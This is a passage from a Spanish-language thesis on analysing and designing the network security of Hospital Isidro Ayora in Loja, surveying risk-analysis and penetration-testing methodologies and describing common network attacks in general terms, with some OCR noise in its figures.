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A. TITULO

“ANALISIS Y DISENO DEL ESQUEMA DE SEGURIDAD DE LA RED DE DATOS
DEL HOSPITAL ISIDRO AYORA DE LA CIUDAD DE LOJA E IMPLEMENTACION
DE LA SEGURIDAD LOGICA UTILIZANDO SOFTWARE LIBRE”
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B. RESUMEN

Hoy en dia las redes de comunicaciones son cada vez mas importantes para las
organizaciones ya que son el medio por el cual se transmite su informacién, no

debiendo comprometer la integridad, disponibilidad y confidencialidad de la misma.

La seguridad en los sistemas de informacion y de cémputo se ha convertido en uno de
los problemas mas grandes desde la globalizacién de Internet. El objetivo de la
seguridad es garantizar la privacidad de la informacion y la continuidad del servicio,
tratando de minimizar la vulnerabilidad de los sistemas o de la informacion contenida
en ellos, asi como tratando de proteger las redes privadas y sus recursos mientras que

se mantienen los beneficios de la conexién a una red publica y a una red privada.

El presente proyecto comprende un estudio minucioso sobre la seguridad en la red de
datos del Hospital Isidro Ayora de la ciudad de Loja, para lo cual se ha utilizado en la
fase de andlisis las metodologias como: OSSTMM (Manual de Metodologia Abierta de
Testeo de seguridad), para la blsqueda de vulnerabilidades la distribucién
GNU/LINUX Backtrack, OCTAVE (Operationally Critical Threats Assets and
Vulnerability Evaluation) para el analisis y gestion de riesgos; en la fase de disefio para
la determinacion de requerimientos y disefio del esquema de seguridad de la red la
metodologia SAFE de Cisco (Modelo de Seguridad para Redes de Empresas) que
ademas involucra la definicion de politicas de seguridad tanto para el usuario final
como para la Unidad de Gestién Informéatica del Hospital Isidro Ayora; y en la fase de
implementacion el uso de herramientas de software libre para la seguridad de la red de

datos.
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SUMARY

Today's communications networks are increasingly important to organizations as they
are the means by which information is transmitted and should not compromise the

integrity, availability and confidentiality of the same.

Security in information and computing systems has become one of the biggest
problems from the globalization of the Internet. The objective of security is to ensure
privacy of information and continuity of service, trying to minimize the vulnerability of
systems or information contained in them, and trying to protect private networks and
resources while maintaining the benefits of connecting to a public network and private

network.

This project involves a detailed study on network security data Isidro Ayora Hospital in
the city of Loja, for which it has been used in the analysis phase methodologies such
as OSSTMM (Open Methodology Manual Safety Testing ), to search for vulnerabilities
the GNU / Linux Backtrack, OCTAVE (Operationally Critical Assets and Vulnerability
Evaluation Threats) to analysis and risk management, in the design phase for the
determination of requirements and design security scheme network methodology Cisco
SAFE (Security Model for Enterprise Networks) that also involves the definition of
security policies for both the end user and the Information Management Unit Isidro
Ayora Hospital and in the implementation phase using free software tools for network
security data.
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C. INTRODUCCION

Los requerimientos de seguridad que involucran las tecnologias de la informacion, en
pocos afios han cobrado un gran auge, y mas aun con las de caracter globalizador
como los son la de Internet y en particular la relacionada con la Web, situacion que ha

llevado la aparicion de nuevas amenazas en los sistemas computarizados.

Ante este esquema las instituciones se ven inmersas en ambientes agresivos donde el
delinquir, sabotear, robar se convierte en retos para delincuentes informéticos

universales conocidos como Hackers, Crackers, etc., es decir en transgresores.

Conforme las tecnologias se han esparcido, la severidad y frecuencia las han
transformado en un continuo riesgo, que obliga a las entidades a crear medidas de
emergencia y politicas de seguridad en informatica definitivas para contrarrestar estos
ataques y transgresiones.

El presente proyecto se centra en la importancia de la seguridad en las redes de
comunicacion, asi como en el uso de herramientas de software libre para la seguridad

de la red de datos del Hospital Isidro Ayora de la ciudad de Loja

La Revision de Literatura contempla toda la informacion referente a los conceptos de
seguridad informatica, analisis de riesgos, seguridad en redes, esquema de seguridad,

seguridad interna y seguridad perimetral.

El uso de Materiales y Métodos permiti6 proceder de una posicién tetrica a la
seleccidén de técnicas concretas de investigacion para la blisqueda de estrategias que
permitan el desarrollo del conocimiento en el andlisis, disefio e implementacion de un

esquema de seguridad para una red de datos.

La presentacion de Resultados se realizé a través del estudio de la situacién actual del
hospital, un analisis de riesgos y seguridad con OCTAVE y OSSTMM, el disefio del
esquema de seguridad de la red de datos a través de la seguridad interna y seguridad

perimetral.

En Discusion se muestra la Evaluacién del Objeto de Investigacién que permitio
analizar el cumplimiento de los objetivos planteados para el desarrollo del presente

trabajo de investigacion; y la Valoracién técnico-econdmica-ambiental que permitié una
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apreciacion del coste y beneficio técnico-econdémico de los recursos utilizados para el
desarrollo del presente proyecto.

Las Conclusiones son las teorias planteadas en base a las experiencias vividas en
cada fase del trabajo de tesis.

Las Recomendaciones son las sugerencias que se dan para futuras mejoras en la red
de datos.

Se indica la Bibliografia utilizada para la fundamentacién teérica de los conocimientos

técnico-cientificos, a través del uso de fuentes terciarias como internet.
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D. REVISION DE LITERATURA

1. CAPITULO |. SEGURIDAD INFORMATICA
1.1. Introduccioén

Actualmente hablar de seguridad constituye tomar todos los correctivos necesarios
para salvaguardar los recursos o activos importantes de toda organizacion, los cuales
resultan ser vulnerables a diversos tipos de ataques, ya sean naturales, humanos u
operativos; estos factores aumentan los riesgos a los que estan expuestos los
procesos de la organizacion, influyendo directa o indirectamente sobre la productividad
o capacidad de respuesta de la misma. El presente capitulo permite tener un enfoque
sobre la importancia de un esquema de seguridad para una red LAN, considerando

para ello conceptos previos los cuales se indican a continuacion.
1.2. Definicidon de Seguridad Informéatica

La seguridad informatica se encarga de la proteccion de la infraestructura
computacional, asi como de la informacién que se maneja en ella. Las herramientas
para la seguridad informatica ayudan a proteger software, bases de datos,
metainformacién, archivos y todo lo que signifigue un riesgo ante informacion

confidencial.
1.3. Seguridad Fisica

La Seguridad Fisica consiste en la aplicacion de barreras fisicas y procedimientos de
control, como medidas de prevencion y contramedidas ante amenazas a los recursos

e informacion confidencial®.
Las principales amenazas que se preven en la seguridad fisica son:

1. Desastres naturales, incendios accidentales tormentas e inundaciones.

2. Amenazas ocasionadas por el hombre.

! Definicién Sequridad Informéatica, Mayo 2011,
http://ntic.uson.mx/wikiseguridad/index.php/Seguridad_inform%C3%A1tica, [Fecha de consulta: 2011-06-01]
2 Sequridad fisica y Ldgica, Octubre 2010, Tesis, Enero 2011,
http://auditoriauc20102miju02.wikispaces.com/file/view/AuditoriaSeguridadF% C3%ADsicaY L% C3%3gicaSistemasOrien
tadosAObjetos20102G07.pdf, [Fecha de consulta: 2011-06-03]
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3. Disturbios, sabotajes internos y externos deliberados.

1.4. Seguridad Ldégica

La Seguridad Légica consiste en la aplicacion de barreras y procedimientos que
resguarden el acceso a los datos y soOlo se permita acceder a ellos a las personas

autorizadas para hacerlo.

Las principales amenazas que se presentan en la seguridad l6gica son:

1. Los protocolos de comunicacion utilizados carecen de seguridad o este ha sido
implementado tiempo después de su creacion, en forma de parche.

Existen agujeros de seguridad en los sistemas operativos.

Existen agujeros de seguridad en las aplicaciones.

Existen errores en las configuraciones de los sistemas.

Los usuarios carecen de informacion respecto al tema.

o g bk wb

Todo sistema es inseguro.
1.5. Andlisis y Gestion de Riesgos

El primer paso en la Gestion de riesgo es el andlisis de riesgo, un proceso que
comprende la identificacion de activos informéticos, sus vulnerabilidades y amenazas
a los que se encuentran expuestos asi como su probabilidad de ocurrencia y el
impacto de las mismas, a fin de determinar los controles adecuados para aceptar,

disminuir, transferir o evitar la ocurrencia del riesgo.
Algunos conceptos que intervienen en el analisis de riesgos son:

% Amenaza: Es la posibilidad de ocurrencia de cualquier tipo de evento o accién que

puede producir un dafio (material o inmaterial) sobre los elementos de un sistema.

La llustracion 2 muestra los resultados del analisis reportado por ESET para el afio
2011 donde destacan los incidentes de seguridad que se han presentado con mayor

frecuencia en algunas empresas de Latinoamérica.

El porcentaje mas alto corresponde a la presencia de malware con el 38.20%, seguido

del 17% que indican que no se ha presentado ninguno de estos incidentes, lo que se

E
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puede considerar tanto como un dato real o deberse al desconocimiento de la

existencia de alguno.

En un porcentaje similar sefialan los incidentes de explotacion de vulnerabilidades,

falta de disponibilidad de servicios criticos, acceso indebido a aplicaciones y/o bases

de datos.
q ’
/_E] M Infeccion de malware (38.20%)
40 A
35 | M Fraude (Externo o Interno)
(5.92%)
30 - B Robo de informacién (6.92%)
25 A B Explotacién de vulnerabilidades
@ (11.36%)
20 - a_ M Falta de disponibilidad de
s ﬁ : servicios criticos (13.00%)
N M Acceso indebido a aplicaciones
10 - @ y/o base de datos (12.12%)
A~ mNinguno (17%)
5 1 E] : 0
m Otro (1.48%)
0 y

llustracion 1. Incidentes de seguridad con mayor frecuencia en Latinoamérica.>

El estudio del tipo de amenazas informéticas que se pueden encontrar, nos permitird
identificar con mayor precision las amenazas a las que esta expuesta la red de datos
del Hospital Isidro Ayora.

% Vulnerabilidad: Es la exposicion latente a un riesgo debido al grado de
susceptibilidad ante alguna amenaza.

K/
L4

Impacto: Consecuencias de que la amenaza ocurra.

7
°

Riesgo intrinseco: Calculo del dafio probable a un activo si se encontrara
desprotegido.

O/
L4

Salvaguarda: Medida técnica u organizativa que ayuda a eliminar el riesgo.

K/
L4

Riesgo residual: Riesgo remanente tras la aplicacion de salvaguardas.

® ESET Security Report Latinoamérica 2011, PDF, Enero 2010, http://www.eset-la.com/pdf/prensa/informe/eset-report-

E

security-latinoamerica-2011.pdf [Fecha de Consulta: 2011-05-29]
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Activo de
informacion

Tiene

Estd expuesto

Si la amenaza
explota la Vulnerabilidad

vulnerabilidad

hav un

Amenaza

Podria De que
ocasionar el ocurra el

Impacto — Riesgo < Probabilidad
Intrinseco

Se aplican
¥

Tienen
Costes

Controles

. 4

X

Riesgo residual

llustracion 2. Andlisis de Riesgos.*

La norma ISO 27001 proporciona directrices para la Gestion del riesgo de Seguridad
de Informacién de la Institucién, mas no proporciona ninguna metodologia especifica

para el andlisis y la gestidn del riesgo de la seguridad.

1.5.1. Valoracién del Riesgo

La valoracion del riesgo se basa en la formula matematica:

Riesgo = PA* MD

La Probabilidad de Amenaza (PA) y Magnitud de Dafio (MD) pueden tomar
condiciones entre Insignificante (1) y Alta (4). Entre méas alta la Probabilidad de
Amenaza y Magnitud de Dafo, mas grande es el riesgo y el peligro al sistema, lo que

significa que es necesario implementar medidas de proteccion.

Para el andlisis sobre la Valoracion del Riesgo en la Institucion se ha aplicado este

rango de valores definidos entre Insignificante (1) y Alta (4).

*1so 27001, Analisis y valoracion de los riesgos, PDF, Septiembre 2011,
http://jmpovedar.files.wordpress.com/2011/03/mc3b3dulo-8.pdf, [Fecha de consulta: 2011-06-15]
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CONDICIONES

Alto Riesgo: Rango (12 - 16)

Mediano Riesgo: Rango (8 - 9)

Bajo Riesgo: Rango (1-6)

Valores:

= 1=Insignificante

Magnitud de Daio

1 2 3 4

2= Baja

Probabilidad de Amenaza 3= Mediana
4=Alta

llustracion 3. Probabilidad de Amenaza y Magnitud de dafio.®

Se habla de un ataque cuando una amenaza se convirtié en realidad, es decir cuando
un evento se realiz6. Se habla de un Impacto, cuando un ataque exitoso perjudicé la

confidencialidad, integridad, disponibilidad y autenticidad de los datos e informacioén.
1.5.2. Metodologias de Andlisis de Riesgo

El estudio de las metodologias de analisis de riesgos nos permite seleccionar aquella
gue mejor se ajuste a los objetivos del proyecto. Se describen tres de las metodologias

mas utilizadas a través del siguiente cuadro comparativo.

Las vulnerabilidades tecnologicas aportan el mayor porcentaje en el riesgo de
seguridad de una organizacion, lo que conlleva a profundizar este tema, con datos de

investigaciones reales.

° MarkusErb, Gestion de Riesgo en la Seguridad Informatica, Andlisis de Riesgo,
http://protejete.wordpress.com/gdr_principal/analisis_riesgo/, [Fecha de Consulta: 2011-06-16]
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CARACTERISTICAS

MAGERIT

OCTAVE

CRAMM

De caracter publico
elaborada por el

Anadlisis de riesgos
orientado a activos,

CCTA Métodolo de
Andlisis y Gestion

predefinidos.

Consejo  Superior | desarrollado por | de Riesgos por la
de Administracion | CERT (Coordination | Agencia Central de
Electrénica del | Center del Software | Informética de
Ministerio de | Engineering Telecomunicacion
Descripcion Administraciones Institute) de la | es del Reino
Publicas, en | Universidad Unido.
Espafia, dispone | Carnegie Mellon de
de un software | Pensilvania, bajo el
denominado estandar
PILAR. internacional
1ISO27000.
Soporta un analisis | El andlisis | Soporta un analisis
completo cualitativo | cuantitativo y | completo
y cuantitativo pero | cualitativo no es | cualitativo y
Andlisis no la combinacién | completo pero es | cuantitativo pero
de los dos. satisfactorio, permite | no la combinacion
la combinacion de | de los dos.
las dos.
Permite el analisis | Permite determinar | Permite el analisis
de todos los tipos | para  todos los | de todos los tipos
Inventarios de recursos, | recursos: amenazas, | de recursos,
amenazas y | vulnerabilidades vy | amenazas,
salvaguardas. No | salvaguardas. vulnerabilidades vy
incluye salvaguardas.
vulnerabilidades.
Tiene una | Permite el uso de | Dispone de una
herramienta de | herramientas herramienta  con
soporte que la hace | externas para la | una extensa base
mas efectiva, | identificacion de | de datos de
Otras proporciona vulnerabilidades. activos, amenazas
inventarios y salvaguardas.

Tabla 1. Cuadro comparativo de metodologias de analisis de riesgos.

La metodologia OCTAVE (Operationally Critical Threat Asset and Vulnerability

Evaluation), permite el andlisis de vulnerabilidades, objetivo de nuestra investigacion,

ademds proporciona la flexibilidad necesaria para adecuarla a las necesidades del

presente proyecto.

OCTAVE utiliza un enfoque de tres fases para examinar la organizacion y la

tecnologia, y crear un montaje de una imagen completa de la informacion de las

E
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necesidades de seguridad de la organizacién. Cada fase consta de varios procesos,

como se describe a continuacion.®

Phase 1:
LI 2 Build Asset-Based [LLLLLDS
Threat Profiles

'mAssets
\=Threats |
r=Current Practices '

—— 1=0Organization Vulnerabilities !
p '=Security Requirements '

(RRERLRREEY )N

RN RRERTNY

Phase 3:

f] o Develop Security
Strategy and Plans
=Risks o
=Protection Strategy

JUIInInILIns

Phase 2:
mip Identify Infrastructure TETL)
Vulnerabilities

=Key Components :
r=Technical Vulnerabilities

'
'
'
,,,,,,,,,,,,,,,,,,,,, 4

finnnnnnnnnnnn,

llustracion 4. Metodologia OCTAVE.

— Fase 1: Construir los activos basados en perfiles de amenazas.

Esta fase es la evaluacion de la organizacion. El equipo de andlisis determina que
activos son los mas importantes para la organizacion (activos criticos) e identifica lo

gue se esta haciendo actualmente para proteger esos activos.

e Proceso 1: Identificar los conocimientos de Direccion

Identificar en base a los conocimientos de los altos directivos: los activos importantes,
las amenazas percibidas, los requisitos de seguridad, las practicas actuales de
seguridad, y las vulnerabilidades de la organizacion.

e Proceso 2: Identificacién del conocimiento de los directivos de areas operativas.
Identificar, de los encargados operacionales de los activos importantes de la
organizacion, las amenazas percibidas, los requisitos de seguridad, las practicas

actuales de seguridad y vulnerabilidades de la organizacion.

e Proceso 3: Identificar los conocimientos del personal
Identificar, de los miembros del personal de TI, los activos importantes, las amenazas
percibidas, los requisitos de seguridad, las practicas actuales de seguridad, y las

vulnerabilidades de la organizacion.

® OCTAVEM Catalog of Practices, Version 2.0, http://www.cert.org/octave/octavemethod.htm,
[Fecha de consulta: 2011-05-10]
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e Proceso 4: Crear perfiles de amenaza
Se evalla la informacion obtenida durante los procesos 1 a 3, selecciona los activos
criticos, refina los requisitos de seguridad asociados con los activos, e identifica las

amenazas a los activos criticos, y la creacion de perfiles de amenaza.
— Fase 2: Identificar las vulnerabilidades de la infraestructura.

Esta fase es la evaluacion de la infraestructura de informacion. El equipo de andlisis
examina los componentes operacionales clave de las debilidades (vulnerabilidades de

la tecnologia) que puede llevar a no autorizadas accion contra los activos criticos.
Los procesos de la Fase 2 son:

e Proceso 5: Identificar los componentes clave
Identificar los componentes clave de cada uno de los activos criticos, para su

evaluacion.

e Proceso 6: Evaluacion de componentes seleccionados
Se examina los componentes clave de las debilidades de la tecnologia. Se utilizan
herramientas de escaneo de vulnerabilidad. Los resultados se analizan y resumen, en

busca de la relevancia de los activos criticos y sus perfiles de amenaza.

— Fase 3: Desarrollar una estrategia y planes de seguridad

Durante esta parte de la evaluacién, el equipo de andlisis identifica los riesgos de los

activos criticos de la organizacion y decide como hacer frente a esos riesgos.
Los procesos de la Fase 3 son:

e Proceso 7: Realizar un andlisis de riesgos

Se identifica el impacto de las amenazas de los activos mas importantes, se desarrolla
los criterios para evaluar los riesgos, y realiza la evaluacion de riesgos de impacto
sobre esos criterios.

e Proceso 8: Desarrollar estrategias de proteccién

El equipo de andlisis crear estrategias de proteccion para los planes de organizacion y
de mitigacion de los activos criticos, con base en un andlisis de
la informacion recogida. Los altos directivos luego revisan, refinan, y aprueban la

estrategia y los planes.

E
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1.6. Test de intrusién

El test te intrusibn o pruebas de penetracion (Penetration tests), permite evaluar
vulnerabilidades por medio de la identificacion de debilidades de configuracion que
puedan ser explotadas, analizadas y categorizadas basadas en el impacto potencial y
posibilidad de ocurrencia, y proveer recomendaciones priorizadas para mitigar y

eliminar las debilidades. Generalmente, se utilizan dos métodos:

- El método de caja negra, consiste en intentar penetrar en la red sin tener
conocimientos del sistema para generar una situacion realista.

- El'método de caja blanca, consiste en intentar penetrar en el sistema por completo,
teniendo cierto grado de conocimiento del disefio de red, para poner a prueba al

maximo los limites de seguridad de la red.

El método de caja blanca se utliza durante la presente investigacion, dada la
aprobacién por parte del Administrador de la red de datos de la Institucién a través de

una Carta de Autorizacion.

1.6.1. Metodologias de analisis de vulnerabilidades

7

% ISSAF: Information System Security Assessment Framework. La informacion

contenida dentro de ISSAF, se encuentra organizada en "Criterios de Evaluacion".’

X3

%

OTP (OWASP Testing Project): Open Web Application Security Project, “Proyecto
abierto de seguridad de aplicaciones web”, es un proyecto de codigo abierto

orientado a descubrir vulnerabilidades de software.®

X3

%

OSSTMM: El Manual de Metodologia Abierta de Pruebas de Seguridad en ingles
Open-Source Security Testing Methodology Manual.®

OSSTMM es el Unico y el mas extenso estandar certificado disponible para el
desarrollo de pruebas de Seguridad en Sistemas de Internet y Redes. Creado por la
organizacion ISECOM (Institute for Security and Open Methodologies) en Diciembre

del afio 2000, es un documento en continuo desarrollo.

" ISSAF, Repositorio de documentacion, Julio 2011, http://www.oissg.org/, [Fecha de consulta: 2011-06-05]
8 OWASP, Definicién, Febrero 2010, https://www.owasp.org, [Fecha de Consulta: 2011-06-05]
® HERZOG Peter V, ISECOM - Instituto para la Seguridad y las Metodologias Abiertas, OSSTMM 2.1 Copyright 2000-
2003, PDF, Diciembre 2010, http://www.isecom.org/osstmm/, [Fecha de consulta: 2011-06-05]
29
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El uso de la guia metodolégica se encuentra protegida bajo la Licencia de Metodologia
Abierta (OML) Copyright (C) 2001-2003; con respecto a la GNU/GPL (General Public
License), esta licencia es similar con la excepcion del derecho de los desarrolladores

de software a incluir las metodologias abiertas que estdn bajo esta licencia en los

programas comerciales.

El manual se representa a través de un mapa de seguridad, las pruebas de seguridad

corresponden a las seis secciones que contiene el manual, cada seccién consta de

varios médulos y cada médulo indica una serie de tareas o pruebas a realizar. El orden

en que se desarrolle cada médulo dependera de la vision del auditor, las secciones de

la metodologia corresponden a la version 2.1 publicada por ISECOM, las cuales se

mencionan en la llustracion 5.

Seguridad de Procesos

Seguridad

Seguridad de | Fisica
Informacion

Seguridad

Inalambrica

llustracion 5. Mapa de Seguridad OSSTMM

A continuacion se describen las secciones y modulos utilizados:

% Seguridad en las Tecnologias de Internet

La seccion de Seguridad en las Tecnologias de Internet se compone de los siguientes

moédulos:

E
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Sondeo de Red: Obtener informaciéon de la red de datos: direcciones IP, nombres
de servidores, nombres de dominio.

Identificacion de los Servicios de Sistemas: Identificacion de los servicios de
sistemas a través del escaneo de puertos del sistema en los niveles de transporte
y red, enumeracion de servicios

Busqueda y Verificacion de Vulnerabilidades: La finalidad de este modulo es la
identificacion, comprension y verificacion de debilidades, errores de configuracién y
vulnerabilidades en un servidor o en una red. La busqueda de vulnerabilidades
utilizando herramientas automaticas es una forma eficiente de determinar agujeros
de seguridad existentes y niveles de parcheado de los sistemas.

Enrutamiento: Las Protecciones de un Router son unas defensas que se
encuentran a menudo en una red donde se restringe el flujo del tréfico entre la red
de la empresa e Internet. Opera en una politica de seguridad y usa ACL's
(AccessControl Lists o Lista de Control de Acceso) que acepta o0 deniega
paguetes.

Testeo de Medidas de Contingencia: Las medidas de contingencia dictan el
manejo de lo atravesable, programas maliciosos y emergencias. La identificacion
de los mecanismos de seguridad y las politicas de respuesta que necesiten ser
examinados.

Descifrado de Contrasefia: Es el proceso de validar la robustez de una
contrasefa a través del uso de herramientas de recuperacién de contrasefias, que
dejan al descubierto la aplicacion de algoritmos criptograficos débiles,
implementaciones incorrectas de algoritmos criptograficos, o contrasefias débiles
debido a factores humanos. Una vez ingresado con privilegios de root o
administrador en un sistema, el descifrado de contrasefias consiste en obtener

acceso a sistemas o aplicaciones adicionales.

Seguridad Inalambrica

La seccion Seguridad Inalambrica se compone de los siguientes médulos:

Verificacion de Redes Inalambricas 802.11: Este es un método para la
verificacion del acceso a redes WLAN 802.11. Los problemas de seguridad
relacionados se dan principalmente a que estas redes se crean rapida y facilmente

pero no se toman en cuenta las medidas de seguridad necesarias para su

E

configuracion.
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— Revision de Privacidad: La privacidad de los dispositivos de comunicacion
inaldmbricos pueden sobrepasar los limites fisicos y monitorizados de una

organizacion.

% Seguridad en las Comunicaciones
En la seccion Seguridad en las Comunicaciones se evalud el siguiente modulo:

— Testeo de Vozlp: Comprende la identificacion de los niveles de control de

intercepciones en las comunicaciones.

% Seguridad Fisica
La seccién Seguridad Fisica se compone de los siguientes médulos:

— Revision de Perimetro: Este es un método para evaluar la seguridad fisica de
una organizacién y sus bienes, verificando las medidas de seguridad de su
perimetro fisico.

— Revision de monitoreo: Este es un método para descubrir puntos de acceso
monitoreados, a una organizacion y sus bienes, por medio del descubrimiento de
custodia y monitoreo electrénico.

— Evaluacion de Controles de Acceso: Este es un método para evaluar los
privilegios de acceso a una organizacién y a sus bienes a través de puntos de
acceso fisicos.

— Revision de Respuesta de Alarmas: Este es un método para descubrir
procedimientos y equipos de alarmas en una organizacion.

— Revision de Ubicacion: Este es un método para obtener acceso a una
organizacion o a sus bienes, a través de puntos débiles en su ubicacién y en su
proteccion contra elementos externos.

— Revision de Entorno: Este es un método para ganar acceso o dafiar a una

organizacion o sus bienes, a través de puntos débiles en su entorno.

La metodologia OSSTMM es mayormente utilizada para test de penetracion, permite
el uso de herramientas de busqueda de vulnerabilidades, razén por la cual se ha
seleccionado para el desarrollo de la presente tesis. La version de la metodologia

utilizada para el andlisis es 2.1, debido a la documentacién y uso en trabajos

E
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1.6.2. Herramientas para andlisis de vulnerabilidades

Existe una serie de herramientas que permiten realizar pruebas de seguridad, algunas
de ellas vienen incluidas en distribuciones GNU-Linux, entre las mas conocidas
tenemos: BackTrack, Operator, PHLACK, Auditor, Knoppix-STD, Helix, nUbuntu,
INSERT Rescue Security Toolkit.

Para el desarrollo de analisis de vulnerabilidades del presente proyecto se ha
considerado el uso de Backtrack, actualmente basada en Ubuntu 10.4. Incluye una
larga lista de herramientas de seguridad, entre las que destacan numerosos scanners
de puertos y vulnerabilidades, archivos de exploits, sniffers, herramientas de analisis

forense y herramientas para la auditoria.

1.7. Seguridad en redes

El objetivo de este tema es determinar los principales inconvenientes de las capas del
modelo TCP/IP e identificar la forma en que la red es atacada, ya sea interrumpiendo
la comunicacién, deshabilitando servicios, manipulando informacion y produciendo

conflictos en los sistemas con los que trabajan, entre otros aspectos.

1.7.1. Vulnerabilidades en capas de modelo TCP/IP

% Capa de red: Las vulnerabilidades de la capa de red estan estrechamente ligadas
al medio sobre el que se realiza la conexién. Por ejemplo: Desvio de los cables de
conexion hacia otros sistemas, escuchas no intrusivas en medios de transmision
sin cables, etc.

% Capa de Internet: Las vulnerabilidades de esta capa se relacionan con el acceso
a los datagramas IP. Los ataques en esta capa pueden ser: Técnicas de sniffing, la
suplantacion de mensajes, la modificacion de datos, los retrasos de mensajes y la
denegacion de mensajes, la prediccion de numeros de secuencia TCP, el
envenenamiento de tablas caché, etc.

% Capa de Transporte: Las principales vulnerabilidades se relacionan con el
establecimiento de una sesion TCP. Los ataques relacionados son respecto a la
autenticacién de los equipos involucrados en una sesion y pueden interceptar

informacion durante el inicio de la sesion.

3

%

Capa de Aplicacion: La vulnerabilidades en la capa de aplicacion se relacionan

B

con las deficiencias en la programacion de los protocolos utilizados.
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1.7.2. Exploracion de puertos

Las vulnerabilidades en el modelo TCP/IP estan asociadas a los protocolos que
utilizan las aplicaciones o servicios para establecer la comunicacién. Segun la

numeracion, los puertos se pueden clasificar en:

— Puertos con numeros inferiores a 1024: Denominados puertos bien conocidos,
estan reservados para servicios muy definidos, como telnet, SMTP, POP3, etc.,
son asignaciones fijas que no pueden ser utilizadas por otros servicios.

— Puertos numerados entre 1024 y 49151: Son puertos registrados, significa que
IANA intenta ordenar el uso de este rango, pero sin las restricciones que existen
para los puertos bien conocidos.

— Puertos numerados entre 49152 y 65535: Son puertos privados de los que se

puede disponer para cualquier uso.™°

Algunos de los puertos no registrados son utilizados por troyanos para ingresar a los
sistemas, por lo que hay que tenerlos en cuenta al momento de realizar el andlisis. Los
puertos reservados sin embargo constituyen la base del analisis ya que al utilizarse

para la comunicacion de datos, es el punto clave de los atacantes.
1.7.3. Ataques informéaticos
Se describen algunos de los ataques que atentan a la seguridad de nuestro sistema.

1.7.3.1. Ataques segun los efectos causados

Estas acciones se pueden clasificar de modo genérico segun los efectos causados:

Infarmacion Infarmacion

Fuente destino
(a) Flujo Normal

(b) Interrupcidn (c) Intercepcion

O—W—%O O|—>0

(d) Modificacidn (e) Fabricacidn

llustracion 6. Tipos de Ataques Informaticos segun sus efectos.

10 Protocolo TCP/IP, http://www.mcgraw-hill.es/bcv/quide/capitulo/8448199766.pdf, [Fecha de Consulta: 2011-06-17]
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— Interrupcidn: Dejar fuera de servicio algun recurso del sistema o0 no encontrarse
disponible.

— Intercepcion: Una entidad no autorizada consigue acceso a un recurso.

— Modificacién: Alguien no autorizado consigue alterar, retrasar y/o reordenar
mensajes es decir, capaz de manipularla.

— Fabricacion: Cuando se insertan objetos falsificados en el sistema.
1.7.3.2. Métodos comunmente utilizados por atacantes

El estudio de estos métodos permitird identificar los atagues a los que la red del
hospital estd expuesta en base a las vulnerabilidades encontradas, es necesario tener

un conocimiento basico del funcionamiento de los protocolos TCP y UDP.
% Ataques por Reconocimiento

Realiza un mapeo no autorizado a los sistemas para la recopilacién de informacién

sobre las vulnerabilidades de dichos sistemas.

Las herramientas utilizadas para este tipo de ataques son:
— Escaneo por Ping: Determina que dispositivos estan activos en la red mediante el
uso del comando PING enviando un paguete ECHO Request. Existen diversos

tipos de Scanning segun las técnicas, puertos y protocolos explotados:

e TCP Connect() Scanning: Si el puerto esta escuchando, devolvera una respuesta
de éxito; cualquier otro caso significard que el puerto no esta abierto o que no se
puede establecer conexién con a él.

e TCP SYN Scanning: Envia un paquete SYN (como si se fuera a usar una conexion
real) y se espera por la respuesta. Al recibir un SYN/ACK se envia,
inmediatamente, un RST para terminar la conexion y se registra este puerto como
abierto.

e TCP FIN Scanning-Stealth Port Scanning: Algunos sistemas (Firewalls y filtros de
paquetes) monitorizan la red en busca de paquetes SYN a puertos restringidos. El
escaneo FIN esta basado en la idea de que los puertos cerrados tienden a
responder a los paquetes FIN con el RST correspondiente.

e Fragmentation Scanning: Es una modificacién de las técnicas anteriores en lugar

de enviar paquetes completos de sondeo, los mismos se particionan en un par de
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— Barrido de puertos: Consiste en enviar un mensaje a cada uno de los puertos del
sistema objetivo. El tipo de respuesta recibida indica si el puerto estd siendo
utilizado y cual es el servicio que esta corriendo en él.

— Analizador de paquetes (Packet Sniffers): Es un programa que captura las
tramas de red, uno de los méas conocidos es Wireshark (Ethereal), Network

Snooping y Packet Sniffing.
« Ataques de Acceso

Consiste en la habilidad de tiene un intruso para acceder a un dispositivo de la red, del
cual el intruso no tiene una cuenta 0 contrasefia, tomando ventaja de las

vulnerabilidades de los servicios de autenticacion, servicios FTP y servicios WEB.

2 Whois.net - Microsoft Internet Explor
g Address|  hitp://10.10.10.4/../ &M -
£ ] l
s o —ﬁ 724157/ cinco.com!  Microsoft Tnkaers Slalx
€l intruso usuelmerte realica . i Y e
alayues a la red v sislemas 5 . -
Obtenar intarmacian
Obterer accesc
Tnureinenls lus pivileivs Je auzss

llustracion 7. Ataque de acceso.

Un Ataque de Acceso se compone de lo siguiente:

— Ataque de Contrasefias: Consiste en repetidos intentos para identificar una
cuenta de usuario, contrasefia 0 ambos mediante ataques de fuerza bruta.

— Ataque Man in the Middle (MiM): Es una técnica de hacking cuya finalidad es
situar al equipo atacante en medio del equipo victima y el router, y obtener toda la

informacion que pasa a través de estos.

Host A Host B

Intruso -

llustracion 8. Ataque de hombre en el medio.
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Algunos métodos utilizados son:

= ARP Poison Routing: Conocido como ARP Spoofing consiste en enviar
mensajes ARP falsos a Ethernet, el atacante puede reenviar el trafico a la puerta
de enlace predeterminada real, modificar los datos antes de reenviarlos, o incluso
lanzar un ataque de tipo DoS contra una victima, asociando una direccion MAC
inexistente con la direccion IP de la puerta de enlace predeterminada de la
victima.'

= Denial of Service (DoS): Este atague provoca que un servicio sea inaccesible a
los usuarios. El problema principal que causa este tipo de ataques es la pérdida
de conectividad de la red por el consumo del ancho de banda de la red victima,
provocando la caida del servicio hasta que se consigue controlar el ataque.

‘L%é::‘ﬁ!’ Ly

e £

1= 0

llustracion 9. Denegacion de Servicio.

A continuacion describimos algunos de los ataques de denegacién de servicio, mas

comunes:

— Ataque de sincronizacion por inundacidon: Consiste en abrir randdmicamente
varios puertos TCP y probando los dispositivos de red con varias peticiones, de tal
forma que la sesion es denegada para terceros.

— Aplicaciones maliciosas: Este ataque es realizado mediante programas escritos
en Java, JavaScript, o ActiveX, actGan como troyanos 0 virus que pueden
incrementar la carga sobre los recursos de la maquina.

— Desconfiguracion de routers: Consiste en desconfigurar los routers para que
enruten trafico que deshabilita el trafico web.

— Ataques por troyanos: Programa que enmascara normalmente para conseguir

acceso a una cuenta o ejecutar comandos con los privilegios de otro usuario.

1 ARP-Spoofing. hitp://es.wikipedia.org/wiki/ARP_Spoofing, [Fecha de consulta: 2011-06-23 ]
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% Ataques de Autentificacion

Se realiza tomando las sesiones ya establecidas por la victima, obteniendo su hombre

